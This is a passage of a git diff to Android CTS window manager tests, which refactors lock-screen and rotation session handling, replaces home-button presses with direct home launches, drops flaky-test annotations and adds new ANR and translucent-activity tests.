+ lockScreenSession.sleepDevice();
+ // We should make sure test activity stopped to prevent a false alarm stop state
+ // included in the lifecycle count.
+ waitAndAssertActivityState(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY, STATE_STOPPED,
+ "Activity should be stopped");
+ separateTestJournal();
+ launchActivity(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY);
+ mAmWmState.assertVisibility(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY, true);
+ // Wait more for display state change since turning the display ON may take longer
+ // and reported after the activity launch.
+ waitForDefaultDisplayState(true /* wantOn */);
+ assertTrue("Display turns on", isDisplayOn(DEFAULT_DISPLAY));
+ assertSingleStart(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY);
}
@Test
- public void testTurnScreenOnActivity_withRelayout() throws Exception {
- try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
- lockScreenSession.sleepDevice();
- launchActivity(TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY);
- mAmWmState.assertVisibility(TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY, true);
+ public void testTurnScreenOnActivity_withRelayout() {
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ lockScreenSession.sleepDevice();
+ launchActivity(TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY);
+ mAmWmState.assertVisibility(TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY, true);
- lockScreenSession.sleepDevice();
- waitAndAssertActivityState(TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY, STATE_STOPPED,
- "Activity should be stopped");
- assertFalse("Display keeps off", isDisplayOn(DEFAULT_DISPLAY));
- }
+ lockScreenSession.sleepDevice();
+ waitAndAssertActivityState(TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY, STATE_STOPPED,
+ "Activity should be stopped");
+ assertFalse("Display keeps off", isDisplayOn(DEFAULT_DISPLAY));
}
@Test
@@ -499,7 +548,7 @@
waitAndAssertTopResumedActivity(TEST_ACTIVITY, DEFAULT_DISPLAY,
"Activity launched on default display must be focused");
- // Press home button
+ // Start home activity directly
launchHomeActivity();
mAmWmState.assertHomeActivityVisible(true);
@@ -544,4 +593,82 @@
"Activity should become STOPPED");
mAmWmState.assertVisibility(TEST_ACTIVITY, false);
}
+
+ @Test
+ public void testConvertTranslucentOnTranslucentActivity() {
+ final ActivitySessionClient activityClient = createManagedActivityClientSession();
+ // Start CONVERT_TRANSLUCENT_DIALOG_ACTIVITY on top of LAUNCHING_ACTIVITY
+ final ActivitySession activity = activityClient.startActivity(
+ getLaunchActivityBuilder().setTargetActivity(TRANSLUCENT_TOP_ACTIVITY));
+ verifyActivityVisibilities(TRANSLUCENT_TOP_ACTIVITY, false);
+ verifyActivityVisibilities(LAUNCHING_ACTIVITY, false);
+
+ activity.sendCommand(ACTION_CONVERT_FROM_TRANSLUCENT);
+ verifyActivityVisibilities(LAUNCHING_ACTIVITY, true);
+
+ activity.sendCommand(ACTION_CONVERT_TO_TRANSLUCENT);
+ verifyActivityVisibilities(LAUNCHING_ACTIVITY, false);
+ }
+
+ @Test
+ public void testConvertTranslucentOnNonTopTranslucentActivity() {
+ final ActivitySessionClient activityClient = createManagedActivityClientSession();
+ final ActivitySession activity = activityClient.startActivity(
+ getLaunchActivityBuilder().setTargetActivity(TRANSLUCENT_TOP_ACTIVITY));
+ getLaunchActivityBuilder().setTargetActivity(SHOW_WHEN_LOCKED_DIALOG_ACTIVITY)
+ .setUseInstrumentation().execute();
+ verifyActivityVisibilities(SHOW_WHEN_LOCKED_DIALOG_ACTIVITY, false);
+ verifyActivityVisibilities(TRANSLUCENT_TOP_ACTIVITY, false);
+ verifyActivityVisibilities(LAUNCHING_ACTIVITY, false);
+
+ activity.sendCommand(ACTION_CONVERT_FROM_TRANSLUCENT);
+ verifyActivityVisibilities(LAUNCHING_ACTIVITY, true);
+
+ activity.sendCommand(ACTION_CONVERT_TO_TRANSLUCENT);
+ verifyActivityVisibilities(LAUNCHING_ACTIVITY, false);
+ }
+
+ @Test
+ public void testConvertTranslucentOnOpaqueActivity() {
+ final ActivitySessionClient activityClient = createManagedActivityClientSession();
+ final ActivitySession activity = activityClient.startActivity(
+ getLaunchActivityBuilder().setTargetActivity(TOP_ACTIVITY));
+ verifyActivityVisibilities(TOP_ACTIVITY, false);
+ verifyActivityVisibilities(LAUNCHING_ACTIVITY, true);
+
+ activity.sendCommand(ACTION_CONVERT_TO_TRANSLUCENT);
+ verifyActivityVisibilities(LAUNCHING_ACTIVITY, false);
+
+ activity.sendCommand(ACTION_CONVERT_FROM_TRANSLUCENT);
+ verifyActivityVisibilities(LAUNCHING_ACTIVITY, true);
+ }
+
+ @Test
+ public void testConvertTranslucentOnNonTopOpaqueActivity() {
+ final ActivitySessionClient activityClient = createManagedActivityClientSession();
+ final ActivitySession activity = activityClient.startActivity(
+ getLaunchActivityBuilder().setTargetActivity(TOP_ACTIVITY));
+ getLaunchActivityBuilder().setTargetActivity(SHOW_WHEN_LOCKED_DIALOG_ACTIVITY)
+ .setUseInstrumentation().execute();
+ verifyActivityVisibilities(SHOW_WHEN_LOCKED_DIALOG_ACTIVITY, false);
+ verifyActivityVisibilities(TOP_ACTIVITY, false);
+ verifyActivityVisibilities(LAUNCHING_ACTIVITY, true);
+
+ activity.sendCommand(ACTION_CONVERT_TO_TRANSLUCENT);
+ verifyActivityVisibilities(LAUNCHING_ACTIVITY, false);
+
+ activity.sendCommand(ACTION_CONVERT_FROM_TRANSLUCENT);
+ verifyActivityVisibilities(LAUNCHING_ACTIVITY, true);
+ }
+
+ private void verifyActivityVisibilities(ComponentName activityBehind,
+ boolean behindFullScreen) {
+ if (behindFullScreen) {
+ mAmWmState.waitForActivityState(activityBehind, STATE_STOPPED);
+ mAmWmState.assertVisibility(activityBehind, false);
+ } else {
+ mAmWmState.waitForValidState(activityBehind);
+ mAmWmState.assertVisibility(activityBehind, true);
+ }
+ }
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsAppOpsTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsAppOpsTests.java
index 10c6fc8..324398b 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsAppOpsTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsAppOpsTests.java
@@ -91,10 +91,11 @@
final AlertWindowsAppOpsTestsActivity activity = mActivityRule.getActivity();
// Start watching for app op
- appOpsManager.startWatchingActive(new int[] {OP_SYSTEM_ALERT_WINDOW}, listener);
+ appOpsManager.startWatchingActive(new String[] { OPSTR_SYSTEM_ALERT_WINDOW },
+ getInstrumentation().getContext().getMainExecutor(), listener);
// Assert the app op is not started
- assertFalse(appOpsManager.isOperationActive(OP_SYSTEM_ALERT_WINDOW, uid, packageName));
+ assertFalse(appOpsManager.isOpActive(OPSTR_SYSTEM_ALERT_WINDOW, uid, packageName));
// Show a system alert window.
@@ -102,11 +103,11 @@
// The app op should start
verify(listener, timeout(APP_OP_CHANGE_TIMEOUT_MILLIS)
- .only()).onOpActiveChanged(eq(OP_SYSTEM_ALERT_WINDOW),
+ .only()).onOpActiveChanged(eq(OPSTR_SYSTEM_ALERT_WINDOW),
eq(uid), eq(packageName), eq(true));
// The app op should be reported as started
- assertTrue(appOpsManager.isOperationActive(OP_SYSTEM_ALERT_WINDOW,
+ assertTrue(appOpsManager.isOpActive(OPSTR_SYSTEM_ALERT_WINDOW,
uid, packageName));
@@ -118,11 +119,11 @@
// The app op should finish
verify(listener, timeout(APP_OP_CHANGE_TIMEOUT_MILLIS)
- .only()).onOpActiveChanged(eq(OP_SYSTEM_ALERT_WINDOW),
+ .only()).onOpActiveChanged(eq(OPSTR_SYSTEM_ALERT_WINDOW),
eq(uid), eq(packageName), eq(false));
// The app op should be reported as finished
- assertFalse(appOpsManager.isOperationActive(OP_SYSTEM_ALERT_WINDOW, uid, packageName));
+ assertFalse(appOpsManager.isOpActive(OPSTR_SYSTEM_ALERT_WINDOW, uid, packageName));
// Start with a clean slate
@@ -136,10 +137,10 @@
// No other callbacks expected
verify(listener, timeout(APP_OP_CHANGE_TIMEOUT_MILLIS).times(0))
- .onOpActiveChanged(eq(OP_SYSTEM_ALERT_WINDOW),
+ .onOpActiveChanged(eq(OPSTR_SYSTEM_ALERT_WINDOW),
anyInt(), anyString(), anyBoolean());
// The app op should be reported as started
- assertTrue(appOpsManager.isOperationActive(OP_SYSTEM_ALERT_WINDOW, uid, packageName));
+ assertTrue(appOpsManager.isOpActive(OPSTR_SYSTEM_ALERT_WINDOW, uid, packageName));
}
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsTests.java
index 0befd92..62fa17e 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsTests.java
@@ -89,9 +89,7 @@
}
@After
- @Override
public void tearDown() throws Exception {
- super.tearDown();
resetPermissionState(ALERT_WINDOW_TEST_ACTIVITY);
resetPermissionState(SDK25_ALERT_WINDOW_TEST_ACTIVITY);
stopTestPackage(ALERT_WINDOW_TEST_ACTIVITY.getPackageName());
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AmProfileTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AmProfileTests.java
index d08c9d2..24d2daa 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AmProfileTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AmProfileTests.java
@@ -107,7 +107,7 @@
executeShellCommand(
getStartCmd(PROFILEABLE_APP_ACTIVITY, startActivityFirst, sampling, streaming));
// Go to home screen and then warm start the activity to generate some interesting trace.
- pressHomeButton();
+ launchHomeActivity();
launchActivity(PROFILEABLE_APP_ACTIVITY);
executeShellCommand(getStopProfileCmd(PROFILEABLE_APP_ACTIVITY));
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AmStartOptionsTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AmStartOptionsTests.java
index 839371f..fb39c49 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AmStartOptionsTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AmStartOptionsTests.java
@@ -20,7 +20,6 @@
import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
import static android.content.Intent.FLAG_ACTIVITY_SINGLE_TOP;
import static android.server.wm.ComponentNameUtils.getActivityName;
-import static android.server.wm.UiDeviceUtils.pressHomeButton;
import static android.server.wm.app.Components.ENTRY_POINT_ALIAS_ACTIVITY;
import static android.server.wm.app.Components.LAUNCHING_ACTIVITY;
import static android.server.wm.app.Components.SINGLE_TASK_ACTIVITY;
@@ -34,8 +33,6 @@
import android.content.ComponentName;
import android.platform.test.annotations.Presubmit;
-import androidx.test.filters.FlakyTest;
-
import org.junit.Test;
/**
@@ -70,7 +67,6 @@
}
@Test
- @FlakyTest
public void testDashW_Indirect() throws Exception {
testDashW(ENTRY_POINT_ALIAS_ACTIVITY, SINGLE_TASK_ACTIVITY);
}
@@ -82,7 +78,7 @@
.setTargetActivity(TEST_ACTIVITY).execute();
// Return to home
- pressHomeButton();
+ launchHomeActivity();
// Start LaunchingActivity again and finish TestActivity
final int flags =
@@ -99,7 +95,7 @@
startActivityAndVerifyResult(entryActivity, actualActivity, true);
// Test warm start
- pressHomeButton();
+ launchHomeActivity();
startActivityAndVerifyResult(entryActivity, actualActivity, false);
// Test "hot" start (app already in front)
@@ -120,4 +116,4 @@
waitAndAssertTopResumedActivity(actualActivity, DEFAULT_DISPLAY,
"Activity must be launched");
}
-}
\ No newline at end of file
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AnimationBackgroundTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AnimationBackgroundTests.java
deleted file mode 100644
index 2126f83..0000000
--- a/tests/framework/base/windowmanager/src/android/server/wm/AnimationBackgroundTests.java
+++ /dev/null
@@ -1,88 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.wm;
-
-import static android.app.WindowConfiguration.WINDOWING_MODE_FREEFORM;
-import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
-import static android.server.wm.app.Components.ANIMATION_TEST_ACTIVITY;
-import static android.server.wm.app.Components.LAUNCHING_ACTIVITY;
-import static android.view.Display.DEFAULT_DISPLAY;
-
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assume.assumeFalse;
-
-import android.content.ComponentName;
-import android.platform.test.annotations.Presubmit;
-import android.server.wm.WindowManagerState.Display;
-
-import org.junit.Test;
-
-/**
- * Build/Install/Run:
- * atest CtsWindowManagerDeviceTestCases:AnimationBackgroundTests
- */
-@Presubmit
-public class AnimationBackgroundTests extends ActivityManagerTestBase {
-
- @Test
- public void testAnimationBackground_duringAnimation() throws Exception {
- launchActivityOnDisplay(LAUNCHING_ACTIVITY, DEFAULT_DISPLAY);
- getLaunchActivityBuilder()
- .setTargetActivity(ANIMATION_TEST_ACTIVITY)
- .setWaitForLaunched(false)
- .execute();
-
- // Make sure we're testing an activity that runs on fullscreen display. This animation API
- // doesn't make much sense in freeform displays.
- assumeActivityNotInFreeformDisplay(ANIMATION_TEST_ACTIVITY);
-
- // Make sure we are in the middle of the animation.
- mAmWmState.waitForWithWmState(state -> state
- .getStandardStackByWindowingMode(WINDOWING_MODE_FULLSCREEN)
- .isWindowAnimationBackgroundSurfaceShowing(),
- "***Waiting for animation background showing");
-
- assertTrue("window animation background needs to be showing", mAmWmState.getWmState()
- .getStandardStackByWindowingMode(WINDOWING_MODE_FULLSCREEN)
- .isWindowAnimationBackgroundSurfaceShowing());
- }
-
- @Test
- public void testAnimationBackground_gone() throws Exception {
- launchActivityOnDisplay(LAUNCHING_ACTIVITY, DEFAULT_DISPLAY);
- getLaunchActivityBuilder().setTargetActivity(ANIMATION_TEST_ACTIVITY).execute();
- mAmWmState.computeState(ANIMATION_TEST_ACTIVITY);
- mAmWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
-
- // Make sure we're testing an activity that runs on fullscreen display. This animation API
- // doesn't make much sense in freeform displays.
- assumeActivityNotInFreeformDisplay(ANIMATION_TEST_ACTIVITY);
-
- assertFalse("window animation background needs to be gone", mAmWmState.getWmState()
- .getStandardStackByWindowingMode(WINDOWING_MODE_FULLSCREEN)
- .isWindowAnimationBackgroundSurfaceShowing());
- }
-
- private void assumeActivityNotInFreeformDisplay(ComponentName activity) throws Exception {
- mAmWmState.waitForValidState(activity);
- final int displayId = mAmWmState.getAmState().getDisplayByActivity(activity);
- final Display display = mAmWmState.getWmState().getDisplay(displayId);
- assumeFalse("Animation test activity is in freeform display. It may not run "
- + "cross-task animations.", display.getWindowingMode() == WINDOWING_MODE_FREEFORM);
- }
-}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AnrTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AnrTests.java
new file mode 100644
index 0000000..a5d9bcd
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AnrTests.java
@@ -0,0 +1,156 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import static android.server.wm.app.Components.UNRESPONSIVE_ACTIVITY;
+import static android.server.wm.app.Components.UnresponsiveActivity;
+import static android.server.wm.app.Components.UnresponsiveActivity.EXTRA_DELAY_UI_THREAD_MS;
+import static android.server.wm.app.Components.UnresponsiveActivity.EXTRA_ON_CREATE_DELAY_MS;
+import static android.server.wm.app.Components.UnresponsiveActivity.EXTRA_ON_KEYDOWN_DELAY_MS;
+import static android.server.wm.app.Components.UnresponsiveActivity.EXTRA_ON_MOTIONEVENT_DELAY_MS;
+import static android.view.Display.DEFAULT_DISPLAY;
+
+import static org.junit.Assert.fail;
+
+import android.os.SystemClock;
+import android.platform.test.annotations.Presubmit;
+import android.provider.Settings;
+import android.server.wm.settings.SettingsSession;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.Until;
+import android.util.EventLog;
+import android.util.Log;
+import android.view.KeyEvent;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.List;
+
+import androidx.test.filters.FlakyTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+/**
+ * Test scenarios that lead to ANR dialog being shown.
+ *
+ * <p>Build/Install/Run:
+ * atest CtsWindowManagerDeviceTestCases:AnrTests
+ */
+@Presubmit
+@FlakyTest(bugId = 143047723)
+@android.server.wm.annotation.Group3
+public class AnrTests extends ActivityManagerTestBase {
+ private static final String TAG = "AnrTests";
+ private LogSeparator mLogSeparator;
+ private SettingsSession<Integer> mHideDialogSetting;
+
+ @Before
+ public void setup() throws Exception {
+ super.setUp();
+ mLogSeparator = separateLogs(); // add a new separator for logs
+ mHideDialogSetting = new SettingsSession<>(
+ Settings.Global.getUriFor(Settings.Global.HIDE_ERROR_DIALOGS),
+ Settings.Global::getInt, Settings.Global::putInt);
+ mHideDialogSetting.set(0);
+ }
+
+ @After
+ public void teardown() {
+ mHideDialogSetting.close();
+ stopTestPackage(UNRESPONSIVE_ACTIVITY.getPackageName());
+ }
+
+ @Test
+ public void slowOnCreateWithKeyEventTriggersAnr() {
+ startUnresponsiveActivity(EXTRA_ON_CREATE_DELAY_MS, false /* waitForCompletion */);
+ // wait for app to be focused
+ mAmWmState.waitAndAssertAppFocus(UNRESPONSIVE_ACTIVITY.getPackageName(),
+ 2000 /* waitTime_ms */);
+ // wait for input manager to get the new focus app. This sleep can be removed once we start
+ // listing to input about the focused app.
+ SystemClock.sleep(500);
+ injectKey(KeyEvent.KEYCODE_BACK, false /* longpress */, false /* sync */);
+ clickCloseAppOnAnrDialog();
+ assertEventLogsContainsAnr(UnresponsiveActivity.PROCESS_NAME);
+ }
+
+ @Test
+ public void slowUiThreadWithKeyEventTriggersAnr() {
+ startUnresponsiveActivity(EXTRA_DELAY_UI_THREAD_MS, true /* waitForCompletion */);
+ injectKey(KeyEvent.KEYCODE_BACK, false /* longpress */, false /* sync */);
+ clickCloseAppOnAnrDialog();
+ assertEventLogsContainsAnr(UnresponsiveActivity.PROCESS_NAME);
+ }
+
+ @Test
+ public void slowOnKeyEventHandleTriggersAnr() {
+ startUnresponsiveActivity(EXTRA_ON_KEYDOWN_DELAY_MS, true /* waitForCompletion */);
+ injectKey(KeyEvent.KEYCODE_BACK, false /* longpress */, false /* sync */);
+ clickCloseAppOnAnrDialog();
+ assertEventLogsContainsAnr(UnresponsiveActivity.PROCESS_NAME);
+ }
+
+ @Test
+ public void slowOnTouchEventHandleTriggersAnr() {
+ startUnresponsiveActivity(EXTRA_ON_MOTIONEVENT_DELAY_MS, true /* waitForCompletion */);
+
+ // TODO(b/143566069) investigate why we need multiple taps on display to trigger anr.
+ mAmWmState.getWmState().computeState();
+ tapOnDisplayCenterAsync(DEFAULT_DISPLAY);
+ SystemClock.sleep(1000);
+ tapOnDisplayCenterAsync(DEFAULT_DISPLAY);
+
+ clickCloseAppOnAnrDialog();
+ assertEventLogsContainsAnr(UnresponsiveActivity.PROCESS_NAME);
+ }
+
+ private void assertEventLogsContainsAnr(String processName) {
+ final List<EventLog.Event> events = getEventLogsForComponents(mLogSeparator,
+ android.util.EventLog.getTagCode("am_anr"));
+ for (EventLog.Event event : events) {
+ Object[] arr = (Object[]) event.getData();
+ final String name = (String) arr[2];
+ if (name.equals(processName)) {
+ return;
+ }
+ }
+ fail("Could not find anr kill event for " + processName);
+ }
+
+ private void clickCloseAppOnAnrDialog() {
+ // Find anr dialog and kill app
+ UiDevice uiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+ UiObject2 closeAppButton = uiDevice.wait(Until.findObject(By.res("android:id/aerr_close")),
+ 20000);
+ if (closeAppButton != null) {
+ Log.d(TAG, "found permission dialog after searching all windows, clicked");
+ closeAppButton.click();
+ return;
+ }
+ fail("Could not find anr dialog");
+ }
+
+ private void startUnresponsiveActivity(String delayTypeExtra, boolean waitForCompletion) {
+ String flags = waitForCompletion ? " -W -n " : " -n ";
+ String startCmd = "am start" + flags + UNRESPONSIVE_ACTIVITY.flattenToString() +
+ " --ei " + delayTypeExtra + " 30000";
+ executeShellCommand(startCmd);
+ }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
index d6489a8..479fe42 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
@@ -58,8 +58,6 @@
import android.platform.test.annotations.Presubmit;
import android.server.wm.CommandSession.SizeInfo;
-import androidx.test.filters.FlakyTest;
-
import org.junit.Ignore;
import org.junit.Test;
@@ -104,7 +102,6 @@
* from docked state to fullscreen (reverse).
*/
@Test
- @FlakyTest(bugId = 71792393)
public void testConfigurationUpdatesWhenResizedFromDockedStack() {
assumeTrue("Skipping test: no multi-window support", supportsSplitScreenMultiWindow());
@@ -123,19 +120,17 @@
* Tests whether the Display sizes change when rotating the device.
*/
@Test
- public void testConfigurationUpdatesWhenRotatingWhileFullscreen() throws Exception {
+ public void testConfigurationUpdatesWhenRotatingWhileFullscreen() {
assumeTrue("Skipping test: no rotation support", supportsRotation());
- try (final RotationSession rotationSession = new RotationSession()) {
- rotationSession.set(ROTATION_0);
+ final RotationSession rotationSession = createManagedRotationSession();
+ rotationSession.set(ROTATION_0);
- separateTestJournal();
- launchActivity(RESIZEABLE_ACTIVITY,
- WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY);
- final SizeInfo initialSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY);
+ separateTestJournal();
+ launchActivity(RESIZEABLE_ACTIVITY, WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY);
+ final SizeInfo initialSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY);
- rotateAndCheckSizes(rotationSession, initialSizes);
- }
+ rotateAndCheckSizes(rotationSession, initialSizes);
}
/**
@@ -143,24 +138,23 @@
* is in the docked stack.
*/
@Test
- public void testConfigurationUpdatesWhenRotatingWhileDocked() throws Exception {
+ public void testConfigurationUpdatesWhenRotatingWhileDocked() {
assumeTrue("Skipping test: no multi-window support", supportsSplitScreenMultiWindow());
- try (final RotationSession rotationSession = new RotationSession()) {
- rotationSession.set(ROTATION_0);
+ final RotationSession rotationSession = createManagedRotationSession();
+ rotationSession.set(ROTATION_0);
- separateTestJournal();
- // Launch our own activity to side in case Recents (or other activity to side) doesn't
- // support rotation.
- launchActivitiesInSplitScreen(
- getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
- getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
- // Launch target activity in docked stack.
- getLaunchActivityBuilder().setTargetActivity(RESIZEABLE_ACTIVITY).execute();
- final SizeInfo initialSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY);
+ separateTestJournal();
+ // Launch our own activity to side in case Recents (or other activity to side) doesn't
+ // support rotation.
+ launchActivitiesInSplitScreen(
+ getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
+ getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
+ // Launch target activity in docked stack.
+ getLaunchActivityBuilder().setTargetActivity(RESIZEABLE_ACTIVITY).execute();
+ final SizeInfo initialSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY);
- rotateAndCheckSizes(rotationSession, initialSizes);
- }
+ rotateAndCheckSizes(rotationSession, initialSizes);
}
/**
@@ -168,24 +162,22 @@
* is launched to side from docked stack.
*/
@Test
- public void testConfigurationUpdatesWhenRotatingToSideFromDocked() throws Exception {
+ public void testConfigurationUpdatesWhenRotatingToSideFromDocked() {
assumeTrue("Skipping test: no multi-window support", supportsSplitScreenMultiWindow());
- try (final RotationSession rotationSession = new RotationSession()) {
- rotationSession.set(ROTATION_0);
+ final RotationSession rotationSession = createManagedRotationSession();
+ rotationSession.set(ROTATION_0);
- separateTestJournal();
- launchActivitiesInSplitScreen(
- getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
- getLaunchActivityBuilder().setTargetActivity(RESIZEABLE_ACTIVITY));
- final SizeInfo initialSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY);
+ separateTestJournal();
+ launchActivitiesInSplitScreen(
+ getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
+ getLaunchActivityBuilder().setTargetActivity(RESIZEABLE_ACTIVITY));
+ final SizeInfo initialSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY);
- rotateAndCheckSizes(rotationSession, initialSizes);
- }
+ rotateAndCheckSizes(rotationSession, initialSizes);
}
- private void rotateAndCheckSizes(RotationSession rotationSession, SizeInfo prevSizes)
- throws Exception {
+ private void rotateAndCheckSizes(RotationSession rotationSession, SizeInfo prevSizes) {
final ActivityManagerState.ActivityTask task =
mAmWmState.getAmState().getTaskByActivity(RESIZEABLE_ACTIVITY);
final int displayId = mAmWmState.getAmState().getStackById(task.mStackId).mDisplayId;
@@ -251,16 +243,14 @@
// Make sure docked stack is focused. This way when we dismiss it later fullscreen stack
// will come up.
launchActivity(activityName, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
- mAmWmState.computeState(false /* compareTaskAndStackBounds */,
- new WaitForValidActivityState.Builder(activityName).build());
- final ActivityManagerState.ActivityStack stack = mAmWmState.getAmState()
- .getStandardStackByWindowingMode(WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
// Resize docked stack to fullscreen size. This will trigger activity relaunch with
// non-empty override configuration corresponding to fullscreen size.
separateTestJournal();
- resizeStack(stack.mStackId, displayRect.left, displayRect.top, displayRect.width(),
- displayRect.height());
+ final int width = displayRect.width();
+ final int height = displayRect.height();
+ resizeDockedStack(width /* stackWidth */, height /* stackHeight */,
+ width /* taskWidth */, height /* taskHeight */);
// Move activity back to fullscreen stack.
setActivityTaskWindowingMode(activityName,
@@ -276,7 +266,6 @@
* relaunched twice and it should have same config as initial one.
*/
@Test
- @FlakyTest
public void testSameConfigurationSplitFullSplitRelaunch() {
moveActivitySplitFullSplit(TEST_ACTIVITY);
}
@@ -285,7 +274,6 @@
* Same as {@link #testSameConfigurationSplitFullSplitRelaunch} but without relaunch.
*/
@Test
- @FlakyTest
public void testSameConfigurationSplitFullSplitNoRelaunch() {
moveActivitySplitFullSplit(RESIZEABLE_ACTIVITY);
}
@@ -295,7 +283,6 @@
* screen.
*/
@Test
- @FlakyTest(bugId = 110276714)
public void testDialogWhenLargeSplitSmall() {
assumeTrue("Skipping test: no multi-window support", supportsSplitScreenMultiWindow());
@@ -308,7 +295,7 @@
final int smallWidthPx = dpToPx(SMALL_WIDTH_DP, density);
final int smallHeightPx = dpToPx(SMALL_HEIGHT_DP, density);
- resizeStack(stack.mStackId, 0, 0, smallWidthPx, smallHeightPx);
+ resizeDockedStack(0, 0, smallWidthPx, smallHeightPx);
mAmWmState.waitForValidState(
new WaitForValidActivityState.Builder(DIALOG_WHEN_LARGE_ACTIVITY)
.setWindowingMode(WINDOWING_MODE_SPLIT_SCREEN_PRIMARY)
@@ -320,7 +307,6 @@
* Test that device handles consequent requested orientations and displays the activities.
*/
@Test
- @FlakyTest(bugId = 71875755)
public void testFullscreenAppOrientationRequests() {
assumeTrue("Skipping test: no rotation support", supportsRotation());
@@ -374,7 +360,6 @@
* change to an invisible activity.
*/
@Test
- @FlakyTest
public void testAppOrientationRequestConfigChanges() {
assumeTrue("Skipping test: no rotation support", supportsRotation());
@@ -474,16 +459,16 @@
//cannot physically rotate the screen on automotive device, skip
return;
}
- try (final RotationSession rotationSession = new RotationSession()) {
- rotationSession.set(ROTATION_0);
- launchActivity(SDK26_TRANSLUCENT_LANDSCAPE_ACTIVITY);
- mAmWmState.assertResumedActivity(
- "target SDK <= 26 non-fullscreen activity should be allowed to launch",
- SDK26_TRANSLUCENT_LANDSCAPE_ACTIVITY);
- assertEquals("non-fullscreen activity requested landscape orientation",
- 0 /* landscape */, mAmWmState.getWmState().getLastOrientation());
- }
+ final RotationSession rotationSession = createManagedRotationSession();
+ rotationSession.set(ROTATION_0);
+
+ launchActivity(SDK26_TRANSLUCENT_LANDSCAPE_ACTIVITY);
+ mAmWmState.assertResumedActivity(
+ "target SDK <= 26 non-fullscreen activity should be allowed to launch",
+ SDK26_TRANSLUCENT_LANDSCAPE_ACTIVITY);
+ assertEquals("non-fullscreen activity requested landscape orientation",
+ 0 /* landscape */, mAmWmState.getWmState().getLastOrientation());
}
/**
@@ -571,7 +556,6 @@
